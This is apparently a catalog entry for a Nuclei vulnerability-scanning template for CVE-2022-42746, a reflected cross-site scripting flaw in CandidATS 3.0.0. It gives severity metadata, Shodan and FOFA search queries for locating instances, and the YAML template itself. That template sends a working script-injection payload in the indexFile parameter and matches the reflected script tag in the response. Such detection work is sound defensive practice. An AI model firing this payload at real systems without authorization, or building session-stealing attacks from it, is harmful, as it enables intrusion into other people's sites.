CVE-2022-42746: CandidATS 3.0.0 - Cross-Site Scripting.
- Template: CVE-2022-42746
- Name: CandidATS 3.0.0 - Cross-Site Scripting.
- Description: CandidATS 3.0.0 contains a cross-site scripting vulnerability via the indexFile parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
- Remediation: To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS.
- Severity: medium
- Authors: arafatansari
- Tags: cve, cve2022, candidats, xss, auieo, vuln
- References: https://fluidattacks.com/advisories/modestep/, https://nvd.nist.gov/vuln/detail/CVE-2022-42746, https://candidats.net/, https://github.com/Henry4E36/POCS, https://github.com/ARPSyndicate/cvemon
- Cves: CVE-2022-42746
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-42746.yaml
- Digest: 490a00463044022059f61ab4b831612fb4b7d92446292066cea1894d5182831f636e54fb378295e9022052bb8f90003e91cc41cf84823c54ff8e524a9c8e2138a8ed8157ca5d02b2a733
- Created at: 2022-11-09T16:49:57Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1476
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42746.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01387
- Epss percentile: 0.7297
- Cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
Metadata
- Fofa-query: body="candidats"
- Max-request: 1
- Product: candidats
- Shodan-query: http.html:"CandidATS", http.html:"candidats"
- Vendor: auieo
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| auieo:candidats | yes | /v1/products/auieo/candidats |
Labels
- Name: CandidATS - Reflected XSS
- Impact: Attackers can execute scripts in user browsers, potentially stealing cookies and hijacking user sessions.
- Remediation: Sanitize and validate the indexFile parameter, and update to the latest version of CandidATS.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2022-42746
- Not known: requirements
```yaml
id: CVE-2022-42746
info:
name: CandidATS 3.0.0 - Cross-Site Scripting.
author: arafatansari
severity: medium
description: |
CandidATS 3.0.0 contains a cross-site scripting vulnerability via the indexFile parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS.
reference:
- https://fluidattacks.com/advisories/modestep/
- https://nvd.nist.gov/vuln/detail/CVE-2022-42746
- https://github.com/Henry4E36/POCS
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-42746
cwe-id: CWE-79
epss-score: 0.01387
epss-percentile: 0.7297
cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: auieo
product: candidats
shodan-query:
- http.html:"CandidATS"
- http.html:"candidats"
fofa-query: body="candidats"
tags: cve,cve2022,candidats,xss,auieo,vuln
http:
- method: GET
path:
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- 'candidat'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 404
digest: 490a00463044022059f61ab4b831612fb4b7d92446292066cea1894d5182831f636e54fb378295e9022052bb8f90003e91cc41cf84823c54ff8e524a9c8e2138a8ed8157ca5d02b2a733:922c64590222798bb761d5b6d8e72950
```